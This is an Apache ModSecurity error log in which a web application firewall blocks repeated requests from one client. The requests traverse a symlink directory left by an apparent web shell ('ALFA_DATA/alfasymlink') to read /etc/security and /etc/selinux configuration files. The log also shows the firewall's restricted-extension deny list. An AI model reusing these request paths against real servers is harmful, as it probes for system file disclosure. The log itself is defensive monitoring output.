[Sun Oct 25 14:29:43.343607 2026] [security2:error] [pid 2880769:tid 2880769] [client 76.135.135.39:65379] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/security/chroot.conf"] [unique_id "at5Kl3NQSJj6g_R4pvfwbgAAABI"]
[Sun Oct 25 14:29:43.343802 2026] [security2:error] [pid 2880769:tid 2880769] [client 76.135.135.39:65379] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/security/chroot.conf"] [unique_id "at5Kl3NQSJj6g_R4pvfwbgAAABI"]
[Sun Oct 25 14:29:43.344081 2026] [security2:error] [pid 2880769:tid 2880769] [client 76.135.135.39:65379] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/security/chroot.conf"] [unique_id "at5Kl3NQSJj6g_R4pvfwbgAAABI"]
[Sun Oct 25 14:29:43.432196 2026] [security2:error] [pid 2879933:tid 2879933] [client 76.135.135.39:65388] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/security/faillock.conf"] [unique_id "at5Kl0YY36dVli09oOhVcgAAAAw"]
[Sun Oct 25 14:29:43.432492 2026] [security2:error] [pid 2879933:tid 2879933] [client 76.135.135.39:65388] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/security/faillock.conf"] [unique_id "at5Kl0YY36dVli09oOhVcgAAAAw"]
[Sun Oct 25 14:29:43.432761 2026] [security2:error] [pid 2879933:tid 2879933] [client 76.135.135.39:65388] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/security/faillock.conf"] [unique_id "at5Kl0YY36dVli09oOhVcgAAAAw"]
[Sun Oct 25 14:29:43.509459 2026] [security2:error] [pid 2880775:tid 2880775] [client 76.135.135.39:65389] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/security/access.conf"] [unique_id "at5Kl-aKFKmIDvm_U3f1pQAAABk"]
[Sun Oct 25 14:29:43.509934 2026] [security2:error] [pid 2880775:tid 2880775] [client 76.135.135.39:65389] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/security/access.conf"] [unique_id "at5Kl-aKFKmIDvm_U3f1pQAAABk"]
[Sun Oct 25 14:29:43.510502 2026] [security2:error] [pid 2880775:tid 2880775] [client 76.135.135.39:65389] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/security/access.conf"] [unique_id "at5Kl-aKFKmIDvm_U3f1pQAAABk"]
[Sun Oct 25 14:29:43.549501 2026] [security2:error] [pid 2879945:tid 2879945] [client 76.135.135.39:65407] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/security/pam_env.conf"] [unique_id "at5Kl7mAKu18kw3DYL-PQwAAAA8"]
[Sun Oct 25 14:29:43.550120 2026] [security2:error] [pid 2879945:tid 2879945] [client 76.135.135.39:65407] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/security/pam_env.conf"] [unique_id "at5Kl7mAKu18kw3DYL-PQwAAAA8"]
[Sun Oct 25 14:29:43.550414 2026] [security2:error] [pid 2879945:tid 2879945] [client 76.135.135.39:65407] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/security/pam_env.conf"] [unique_id "at5Kl7mAKu18kw3DYL-PQwAAAA8"]
[Sun Oct 25 14:29:43.551770 2026] [security2:error] [pid 2880767:tid 2880767] [client 76.135.135.39:65410] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/security/namespace.conf"] [unique_id "at5Kly-CzQxJ5MlF2DkrywAAAA0"]
[Sun Oct 25 14:29:43.552107 2026] [security2:error] [pid 2880767:tid 2880767] [client 76.135.135.39:65410] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/security/namespace.conf"] [unique_id "at5Kly-CzQxJ5MlF2DkrywAAAA0"]
[Sun Oct 25 14:29:43.552327 2026] [security2:error] [pid 2880767:tid 2880767] [client 76.135.135.39:65410] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/security/namespace.conf"] [unique_id "at5Kly-CzQxJ5MlF2DkrywAAAA0"]
[Sun Oct 25 14:29:43.641835 2026] [security2:error] [pid 2879931:tid 2879931] [client 76.135.135.39:65420] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/security/pwquality.conf"] [unique_id "at5Kl5KSFHHoiviJa5dqnQAAAAo"]
[Sun Oct 25 14:29:43.642135 2026] [security2:error] [pid 2879931:tid 2879931] [client 76.135.135.39:65420] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/security/pwquality.conf"] [unique_id "at5Kl5KSFHHoiviJa5dqnQAAAAo"]
[Sun Oct 25 14:29:43.642400 2026] [security2:error] [pid 2879931:tid 2879931] [client 76.135.135.39:65420] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/security/pwquality.conf"] [unique_id "at5Kl5KSFHHoiviJa5dqnQAAAAo"]
[Sun Oct 25 14:29:43.643548 2026] [security2:error] [pid 2880752:tid 2880752] [client 76.135.135.39:65419] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/security/pwhistory.conf"] [unique_id "at5Kl8O5MiLAYQWXs3NDNgAAAAc"]
[Sun Oct 25 14:29:43.643747 2026] [security2:error] [pid 2880752:tid 2880752] [client 76.135.135.39:65419] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/security/pwhistory.conf"] [unique_id "at5Kl8O5MiLAYQWXs3NDNgAAAAc"]
[Sun Oct 25 14:29:43.643972 2026] [security2:error] [pid 2880752:tid 2880752] [client 76.135.135.39:65419] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/security/pwhistory.conf"] [unique_id "at5Kl8O5MiLAYQWXs3NDNgAAAAc"]
[Sun Oct 25 14:29:43.646580 2026] [security2:error] [pid 2879890:tid 2879890] [client 76.135.135.39:65425] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/security/user_map.conf"] [unique_id "at5KlyEQblycZeXKbm74pQAAAAU"]
[Sun Oct 25 14:29:43.646802 2026] [security2:error] [pid 2879890:tid 2879890] [client 76.135.135.39:65425] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/security/user_map.conf"] [unique_id "at5KlyEQblycZeXKbm74pQAAAAU"]
[Sun Oct 25 14:29:43.647061 2026] [security2:error] [pid 2879890:tid 2879890] [client 76.135.135.39:65425] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/security/user_map.conf"] [unique_id "at5KlyEQblycZeXKbm74pQAAAAU"]
[Sun Oct 25 14:29:43.661150 2026] [security2:error] [pid 2879908:tid 2879908] [client 76.135.135.39:65423] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/security/sepermit.conf"] [unique_id "at5Kl76D6j04LiS6yScWSAAAAAI"]
[Sun Oct 25 14:29:43.661384 2026] [security2:error] [pid 2879908:tid 2879908] [client 76.135.135.39:65423] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/security/sepermit.conf"] [unique_id "at5Kl76D6j04LiS6yScWSAAAAAI"]
[Sun Oct 25 14:29:43.661780 2026] [security2:error] [pid 2879908:tid 2879908] [client 76.135.135.39:65423] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/security/sepermit.conf"] [unique_id "at5Kl76D6j04LiS6yScWSAAAAAI"]
[Sun Oct 25 14:29:43.663086 2026] [security2:error] [pid 2880768:tid 2880768] [client 76.135.135.39:65426] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/security/time.conf"] [unique_id "at5Kl8AxLusXGhv5UJnAtAAAABE"]
[Sun Oct 25 14:29:43.663283 2026] [security2:error] [pid 2880768:tid 2880768] [client 76.135.135.39:65426] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/security/time.conf"] [unique_id "at5Kl8AxLusXGhv5UJnAtAAAABE"]
[Sun Oct 25 14:29:43.663516 2026] [security2:error] [pid 2880768:tid 2880768] [client 76.135.135.39:65426] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/security/time.conf"] [unique_id "at5Kl8AxLusXGhv5UJnAtAAAABE"]
[Sun Oct 25 14:29:43.731024 2026] [security2:error] [pid 2880754:tid 2880754] [client 76.135.135.39:65432] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/selinux/semanage.conf"] [unique_id 